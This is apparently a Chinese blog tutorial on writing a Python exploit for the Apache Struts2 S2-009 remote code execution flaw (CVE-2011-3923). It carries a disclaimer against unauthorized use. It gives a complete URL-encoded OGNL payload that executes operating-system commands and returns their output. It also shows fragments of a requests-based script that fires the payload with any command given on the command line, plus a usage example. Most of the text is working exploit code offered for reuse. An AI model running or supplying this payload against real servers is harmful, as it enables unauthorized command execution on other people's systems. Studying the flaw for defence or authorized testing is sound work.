浅学安全开发python POC/EXP编写,通过(s2-009)练手
未经授权请勿利用文章中的技术 资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果 和损失,均由使用者本人负责。
完整代码:poc/s2-009.py at main · san1one/poc · GitHub
struts-s2-009 代码执行 (CVE-2011-3923)
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
漏洞触发地址
/ajax/example5.action
payload
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
我们主要通过python requests模块,模拟http请求,先加载requests,os,sys模块,
通常会出现SSLError 请求异常,SSL错误,证书认证失败问题解决,我们将解决warning信息,
调用关闭警告信息
requests.packages.urllib3.disable_warnings()
定义我们的exp有参函数,通过requests模块get方法进行http请求及响应的接收,返回响应结果。
res=requests.get("{}{}".format(host,payload))
try:
if res.status_code==200:
print((res.content).replace(b'\x00',b''))
else:
print("[-] info: This link is not vulnerable.")
except Exception as e:
print("[-] info: This link is not vulnerable.")
主函数调用exp函数,获取运行python脚本文件的时候命令行参数
if len(sys.argv) < 3:
print('[+] \033[36mfor example: https:127.0.0.1 whoami \033[0m')
elif len(sys.argv) ==3:
try:
host=sys.argv[1]
commod=sys.argv[2]
exp_commod(host,commod)
except Exception as e:
python s2-009.py http:127.0.0.1 whoami